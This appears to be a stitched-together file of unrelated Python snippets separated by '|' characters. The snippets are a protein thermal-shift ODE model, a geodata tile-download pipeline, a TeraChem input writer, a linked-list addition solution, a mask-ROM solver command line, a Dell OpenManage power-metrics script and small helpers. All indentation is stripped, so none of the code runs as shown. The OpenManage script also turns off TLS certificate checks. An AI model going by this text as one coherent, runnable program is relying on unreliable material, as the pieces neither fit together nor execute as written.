def _get_cetsa_odesys(molar_unitless, loglog, NativeSys=None, explicit_NL=False, MySys=None):
# Never mind the details of this test case, it is from a real-world application.
names = 'N U NL L A'.split()
params = OrderedDict([
('T', 'T'),
('Ha_f', r'\Delta_f\ H^\neq'),
('Sa_f', r'\Delta_f S^\neq'),
('dCp_u', r'\Delta_u\ C_p'),
('He_u', r'\Delta_u H'),
('Tm_C', 'T_{m(C)}'),
('Ha_agg', r'\Delta_{agg}\ H^\neq'),
('Sa_agg', r'\Delta_{agg}\ S^\neq'),
('dCp_dis', r'\Delta_{dis}\ C_p'),
('Ha_as', r'\Delta_{as}\ H^\neq'),
('Sa_as', r'\Delta_{as}\ S^\neq'),
('He_dis', r'\Delta_{dis}\ H'),
('Se_dis', r'\Delta_{dis}\ S'),
])
param_keys = list(params.keys())
def Eyring(dH, dS, T, R, kB_over_h, be):
return kB_over_h * T * be.exp(-(dH - T*dS)/(R*T))
def get_rates(x, y, p, be=math, T0=298.15, T0C=273.15,
R=8.3144598, # J K**-1 mol**-1, J = Nm, but we keep activation energies in Joule)
kB_over_h=1.38064852e-23 / 6.62607004e-34): # K**-1 s**-1
pd = dict(zip(param_keys, p))
He_u_T = pd['He_u'] + pd['dCp_u'] * (pd['T'] - T0)
He_dis_T = pd['He_dis'] + pd['dCp_dis'] * (pd['T'] - T0)
Se_u = pd['He_u']/(T0C + pd['Tm_C']) + pd['dCp_u']*be.log(pd['T']/T0)
Se_dis = pd['Se_dis'] + pd['dCp_dis']*be.log(pd['T']/T0)
def C(k):
return y[names.index(k)]
return {
'unfold': C('N')*Eyring(He_u_T + pd['Ha_f'], pd['Sa_f'] + Se_u, pd['T'], R, kB_over_h, be),
'fold': C('U')*Eyring(pd['Ha_f'], pd['Sa_f'], pd['T'], R, kB_over_h, be),
'aggregate': C('U')*Eyring(pd['Ha_agg'], pd['Sa_agg'], pd['T'], R, kB_over_h, be),
'dissociate': C('NL')*Eyring(He_dis_T + pd['Ha_as'], Se_dis + pd['Sa_as'], pd['T'], R, kB_over_h, be),
'associate': C('N')*C('L')*Eyring(pd['Ha_as'], pd['Sa_as'], pd['T'], R, kB_over_h, be) / molar_unitless
}
def f(x, y, p, be=math):
r = get_rates(x, y, p, be)
dydx = {
'N': r['fold'] - r['unfold'] + r['dissociate'] - r['associate'],
'U': r['unfold'] - r['fold'] - r['aggregate'],
'A': r['aggregate'],
'L': r['dissociate'] - r['associate'],
'NL': r['associate'] - r['dissociate']
}
return [dydx[k] for k in (names if explicit_NL else names[:-1])]
if loglog:
logexp = sp.log, sp.exp
if NativeSys:
class SuperClass(TransformedSys, NativeSys):
pass
else:
SuperClass = TransformedSys
MySys = symmetricsys(
logexp, logexp, SuperClass=SuperClass, exprs_process_cb=lambda exprs: [
sp.powsimp(expr.expand(), force=True) for expr in exprs])
else:
MySys = NativeSys or SymbolicSys
return MySys.from_callback(f, len(names) - (0 if explicit_NL else 1), len(param_keys),
names=names if explicit_NL else names[:-1])
|
from __future__ import unicode_literals
import yaml
from pathlib import Path
import os
from prompt_toolkit import prompt
import pandas as pd
from src.pipeline_components.tile_creator import TileCreator
from src.pipeline_components.tile_downloader import TileDownloader
from src.pipeline_components.tile_processor import TileProcessor
from src.pipeline_components.tile_updater import TileCoordsUpdater
from src.utils.geojson_handler_utils import GeoJsonHandler
def main():
# ------- Read configuration -------
config_file = 'config.yml'
with open(config_file, 'rb') as f:
conf = yaml.load(f, Loader=yaml.FullLoader)
run_tile_creator = conf.get('run_tile_creator', 0)
run_tile_downloader = conf.get('run_tile_downloader', 0)
run_tile_processor = conf.get('run_tile_processor', 0)
run_tile_updater = conf.get('run_tile_coords_updater', 0)
tile_coords_path = conf.get('tile_coords_path', 'data/coords/TileCoords.pickle')
geojson_path = conf.get('geojson_path', 'utils/deutschlandGeoJSON/2_bundeslaender/1_sehr_hoch.geo.json')
downloaded_path = conf.get('downloaded_path', 'logs/processing/DownloadedTiles.csv')
processed_path = conf.get('processed_path','logs/processing/Processed.csv')
# ------- GeoJsonHandler provides utility functions -------
nrw_handler = GeoJsonHandler(geojson_path)
# ------- TileCreator creates pickle file with all tiles in NRW and their respective minx, miny, maxx, maxy coordinates -------
if run_tile_creator:
print("Starting to create a pickle file with all bounding box coordinates for tiles within NRW ... This will take a while")
tileCreator = TileCreator(configuration=conf, polygon=nrw_handler.polygon)
tileCreator.defineTileCoords()
print('Pickle file has been sucessfully created')
# Tile_coords is a list of tuples. Each tuple specifies its respective tile by minx, miny, maxx, maxy.
tile_coords = nrw_handler.returnTileCoords(path_to_pickle=Path(tile_coords_path))
print(f'{len(tile_coords)} tiles have been identified.')
# ------- TileDownloader downloads tiles from openNRW in a multi-threaded fashion -------
if run_tile_downloader:
print('Starting to download ' + str(len(tile_coords)) + '. This will take a while.')
downloader = TileDownloader(configuration=conf, polygon=nrw_handler.polygon, tile_coords=tile_coords)
if os.path.exists(Path(downloaded_path)):
# Load DownloadedTiles.csv file
downloadedTiles_df = pd.read_table(downloaded_path, header=None)
print(f"{downloadedTiles_df[0].nunique()} unique tiles have been successfully downloaded.")
if run_tile_processor:
tileProcessor = TileProcessor(configuration=conf, polygon=nrw_handler.polygon)
tileProcessor.run()
if os.path.exists(processed_path):
# Load DownloadedTiles.csv file
processedTiles_df = pd.read_table(processed_path, header=None)
print(f"{processedTiles_df[0].nunique()} unique tiles have been successfully processed.")
if run_tile_updater:
updater = TileCoordsUpdater(configuration=conf, tile_coords=tile_coords)
updater.update()
if __name__ == '__main__':
main() |
import os
#get pure terachem gradients for comparison
pdbdir = "/home/xuyanting/qr-tests-p1/01_finalised"
coords="/home/xuyanting/qr-tests-p1/01_finalised/"
work_dir ="/home/xuyanting/sp/"
pdbs =[]
for pdb_file in os.listdir(pdbdir):
# pdbs.append(os.path.join(pdbdir,pdb_file))
pdbs.append(pdb_file[:-4])
template = """run gradient
$multibasis
Se lanl2dz_ecp
Cl lanl2dz_ecp
Cd lanl2dz_ecp
Zn lanl2dz_ecp
Mg lanl2dz_ecp
$end
basis sto-3g
scf diis+a
coordinates """
template2 ="""
gpumem 512
charge 6
seed 1351351
maxit 200
threall 1e-12
pointcharges no
gpus 4
watcheindiis yes
method rhf
dftd yes
end
"""
def pbs():
for pdb in pdbs:
with open(work_dir+pdb+".sp","w") as f:
f.write(template + coords + pdb + ".pdb " +template2)
pbs()
|
class ListNode(object):
def __init__(self, x):
self.val = x
self.next = None
def checkTen(n, f):
flag = f
temp = n
while (n is not None):
n.val += flag
if n.val >= 10:
n.val -= 10
flag = 1
else:
flag = 0
temp = n
n = n.next
if flag == 1:
temp.next = ListNode(1)
class Solution(object):
def addTwoNumbers(self, l1, l2):
"""
:type l1: ListNode
:type l2: ListNode
:rtype: ListNode
"""
flag = 0
result = ListNode(flag)
temp = result
last = None
while(l1 is not None and l2 is not None):
temp.val += l1.val + l2.val
if temp.val >= 10:
temp.val -= 10
flag = 1
else:
flag = 0
temp.next = ListNode(flag)
last = temp
temp = temp.next
l1 = l1.next
l2 = l2.next
if l1 is None:
if l2 is not None:
last.next = l2
checkTen(l2, flag)
else:
if flag == 1:
last.next = ListNode(flag)
else:
last.next = None
return result
if l2 is None:
last.next = l1
checkTen(l1, flag)
return result
'''
test:
(1)
(9,2)
-> (0,3)
(2)
(8,9,9)
->(0,0,0,1)
(5)
(5)
->(0,1)
'''
|
#!/usr/bin/env python3
from zorrom import solver
from zorrom.util import add_bool_arg
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(
description='Guess mask ROM layout based on constraints')
parser.add_argument(
'--bytes',
required=True,
help=
'Constraints as offset:byte,offset:byte,.. offset:byte:mask is also allowed'
)
parser.add_argument('--verbose', action='store_true', help='')
parser.add_argument('--all', action='store_true', help='')
add_bool_arg(parser, '--invert', default=None, help='')
parser.add_argument('--rotate', type=int, default=None, help='')
parser.add_argument('--bin-out',
default=None,
help='Require a single match')
parser.add_argument('--txt-out',
default=None,
help='Require a single match')
add_bool_arg(parser, '--flipx', default=None, help='')
parser.add_argument('--interleave', type=int, default=1, help='')
parser.add_argument('--interleave-dir', default=None, help='')
parser.add_argument('--layout-alg', type=str, default=None, help='')
parser.add_argument('--write-thresh', type=float, default=None, help='')
parser.add_argument('--word-bits', type=int, default=8, help='')
parser.add_argument('--words', type=int, default=None, help='')
parser.add_argument('--endian', default=None, help='')
parser.add_argument('fn_in', help='.txt file in')
parser.add_argument('dir_out', nargs='?', help='Write top .bin file')
args = parser.parse_args()
solver.run(args.fn_in,
solver.parse_ref_words(args.bytes),
args.dir_out,
bin_out=args.bin_out,
txt_out=args.txt_out,
all=args.all,
invert_force=args.invert,
rotate_force=args.rotate,
flipx_force=args.flipx,
interleave_force=args.interleave,
interleave_dir_force=args.interleave_dir,
layout_alg_force=args.layout_alg,
write_thresh=args.write_thresh,
word_bits=args.word_bits,
words=args.words,
endian_force=args.endian,
verbose=args.verbose)
|
#
# _author_ = Mahendran P <[email protected]>
#
# Copyright (c) 2021 Dell EMC Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""
#### Synopsis
Script to get different Power Manager Metrics for groups which are being monitored by Power Manager
#### Description
This script exercises the OpenManage Enterprise REST API to get different Power Manager Metrics for groups at different time duration which are being monitored by Power Manager.
- For authentication X-Auth is used over Basic Authentication
- Note that the credentials entered are not stored to disk.
- Use "get_power_manager_monitoring_list.py" to get group ID
#### Python Example
python get_power_manager_group_metrics.py --ip <xx> --username <username> --password <pwd> --groupID <ID of a Group> --metricType <Metric Supported> --duration <Duration> --sort <Sort Order>
Output:
==========================================================================================
Power Manager Metrics for group ID -> 10313 collected in Six_hours time window
==========================================================================================
METRIC_TYPE METRIC_VALUE COLLECTED_AT
Maximum_system_power_consumption 136.0 2020-03-22 06:45:28.891437
Minimum_system_power_consumption 133.0 2020-03-22 06:45:28.891437
Average_system_power_consumption 133.0 2020-03-22 06:45:28.891437
Maximum_system_power_consumption 136.0 2020-03-22 07:00:18.443143
"""
# Import the modules required for this script
import argparse
import json,csv
import sys
import collections
from argparse import RawTextHelpFormatter
# Import the modules required for this script
#from requests.packages.urllib3.exceptions import InsecureRequestWarning
import urllib3
import requests
from datetime import datetime
from columnar import columnar
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from pathlib import Path
home = str(Path.home()) + "/em-metrics/"
# Metric Type dictonary to display the output for better reading
metricType_dictionary = {
1: "Maximum_system_power_consumption",
2: "Minimum_system_power_consumption",
3: "Average_system_power_consumption",
4: "Instant_system_power",
5: "Maximum_Inlet_Temperature",
6: "Minimum_Inlet_Temperature",
7: "Average_Inlet_Temperature",
8: "Instant_Inlet_Temperature",
9: "Maximum_CPU_utilization",
10: "Minimum_CPU_utilization",
11: "Average_CPU_utilization",
12: "Maximum_memory_utilization",
13: "Minimum_memory_utilization",
14: "Average_memory_utilization",
15: "Maximum_IO_utilization",
16: "Minimum_IO_utilization",
17: "Average_IO_utilization",
18: "System_Air_Flow"}
# Duration dictonary to display the output for better reading
duration_dictionary = {
0: "Recent",
1: "One_hour",
2: "Six_hours",
3: "Twelve_hours",
4: "One_day",
5: "Seven_Days",
6: "One_Month",
7: "Three_Months",
8: "Six_Months",
9: "One_Year"}
def get_power_manager_group_metrics(ip_address, user_name, password, groupID, metricType, duration, sort):
""" Authenticate with OpenManage Enterprise, get power manager Group metrics"""
# Defining Session URL & headers
session_url = 'https://%s/api/SessionService/Sessions' % ip_address
headers = {'content-type': 'application/json'}
# Define Payload for posting session API
user_details = {'UserName': user_name,
'Password': password,
'SessionType': 'API'}
# Define metric URL
metric_url = "https://%s/api/MetricService/Metrics" % ip_address
# Payload for posting metric API
metrics_payload = {"PluginId": "2F6D05BE-EE4B-4B0E-B873-C8D2F64A4625",
"EntityType": 1,
"EntityId": int(groupID),
"MetricTypes": metricType,
"Duration": int(duration),
"SortOrder": int(sort)}
# Define OUTPUT header & data format
output_column_headers = ['Metric_Type', 'Metric_Value', 'Collected_at']
output_column_data = []
# Create the session with OpenManage Enterprise
session_info = requests.post(session_url, verify=False,
data=json.dumps(user_details),
headers=headers)
# If session doesn't create, message the user with error
if session_info.status_code != 201 & session_info.status_code != 200:
session_json_data = session_info.json()
if 'error' in session_json_data:
error_content = session_json_data['error']
if '@Message.ExtendedInfo' not in error_content:
print("Unable to create a session with %s" % ip_address)
else:
extended_error_content = error_content['@Message.ExtendedInfo']
print(
"Unable to create a session with %s. See below ExtendedInfo for more information" % ip_address)
print(extended_error_content[0]['Message'])
else:
print("Unable to create a session with %s. Please try again later" % ip_address)
else:
headers['X-Auth-Token'] = session_info.headers['X-Auth-Token']
# Group Metric Post API call with OpenManage Enterprise
group_metric_response = requests.post(metric_url,
data=json.dumps(metrics_payload), headers=headers, verify=False)
group_metric_json_data = group_metric_response.json()
# If Group metric API doesn't respond or failed, message the user with error
if group_metric_response.status_code != 201 & group_metric_response.status_code != 200:
if 'error' in group_metric_json_data:
error_content = group_metric_json_data['error']
if '@Message.ExtendedInfo' not in error_content:
print("Unable to retrieve Power Manager metric from %s" % ip_address)
else:
extended_error_content = error_content['@Message.ExtendedInfo']
print(
"Unable to retrieve Power Manager metric from %s. See below ExtendedInfo for more information" % ip_address)
print(extended_error_content[0]['Message'])
else:
print("Unable to retrieve Power Manager metric from %s" % ip_address)
else:
group_metric_content = json.loads(group_metric_response.content)
if group_metric_content:
# For every elements in the metric response, store the details in the table
for metric_elem in group_metric_content["Value"]:
group_metric_data = [metricType_dictionary[int(metric_elem["Type"])], metric_elem["Value"],
metric_elem["Timestamp"]]
output_column_data.append(group_metric_data)
# Grouping by data and columnar measurement (date,m1,m2,3)
dt_group_metrics = {}
for t in output_column_data:
dt = datetime.strptime(t[2],"%Y-%m-%d %H:%M:%S.%f").strftime("%Y-%m-%d %H:%M")
if dt in dt_group_metrics:
dt_group_metrics[dt].update({t[0]:t[1]})
else:
dt_group_metrics[dt]={t[0]:t[1]}
sorted_metrics = collections.OrderedDict(sorted(dt_group_metrics.items()))
with open(home + 'output/partial_temperature_metrics.csv', mode='w') as metrics_file:
for k, v in sorted_metrics.items():
csv_metrics = csv.writer(metrics_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
csv_metrics.writerow([k,v['Maximum_Inlet_Temperature'],
v['Average_Inlet_Temperature'],
])
else:
print("No Power Manager Metrics for group ID -> %s collected in %s time window" % (
groupID, duration_dictionary[int(duration)]))
#except Exception as error:
# print("Unexpected error:", str(error))
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=__doc__, formatter_class=RawTextHelpFormatter)
parser.add_argument("--ip", "-i", required=True, help="OpenManage Enterprise IP <- Mandatory")
parser.add_argument("--username", "-u", required=False,
help="Username for OpenManage Enterprise <- Optional; default = admin", default="admin")
parser.add_argument("--password", "-p", required=True, help="Password for OpenManage Enterprise <- Mandatory")
parser.add_argument("--groupID", "-id", required=True,
help="ID of a Group <- Power Manager Metrics need to be fetched <- Mandatory")
parser.add_argument("--duration", "-d", required=False,
help='''Duration of the period that the metrics being collected. <- Optional; default = 0; See below supported duration:
0 Recent
1 One hour
2 Six hours
3 Twelve hours
4 One day
5 Seven Days
6 One Month
7 Three Months
8 Six Months
9 One Year
''', default=0)
parser.add_argument("--sort", "-s", required=False,
help='''Duration of the period that the metrics being collected. <- Optional; default = 0; See below supported duration:
0 Descending
1 Ascending
''', default=0)
args = parser.parse_args()
metricType="5,6,7"
mt_list = []
if metricType:
if "," in metricType:
for i in metricType.split(","):
if not i.isdigit():
print(
"\n !!! ERROR :: Wrong Metric Value Entered !!! \n Please use --help/-h for proper metric value & try again")
exit()
else:
if int(i) not in range(1, 19):
print(
"\n !!! ERROR :: Wrong Metric Value Entered !!! \n Please use --help/-h for proper metric value & try again")
exit()
else:
mt_list.append(int(i))
else:
if not metricType.isdigit():
print(
"\n !!! ERROR :: Wrong Metric Value Entered !!! \n Please use --help/-h for proper metric value & try again")
exit()
else:
if int(metricType) not in range(1, 19):
print(
"\n !!! ERROR :: Wrong Metric Value Entered !!! \n Please use --help/-h for proper metric value & try again")
exit()
else:
mt_list.append(int(metricType))
if args.duration and int(args.duration) not in range(0, 10):
print(
"\n !!! ERROR :: Wrong Duration Value Entered !!! \n Please use --help/-h for proper duration value & try again")
exit()
if args.sort and int(args.sort) not in range(0, 2):
print(
"\n !!! ERROR :: Wrong Sort Value Entered !!! \n Please use --help/-h for proper sort value & try again")
exit()
get_power_manager_group_metrics(args.ip, args.username, args.password, args.groupID, mt_list, args.duration,
args.sort) |
def pythonstuff_main():
return 'This is just to initialize the project. I\ll kill it later'
|
from django.conf import settings
from web3 import Web3, HTTPProvider
from web3.middleware import geth_poa_middleware
def get_w3():
w3 = Web3(HTTPProvider(settings.NODE_URL))
w3.middleware_stack.inject(geth_poa_middleware, layer=0)
return w3
|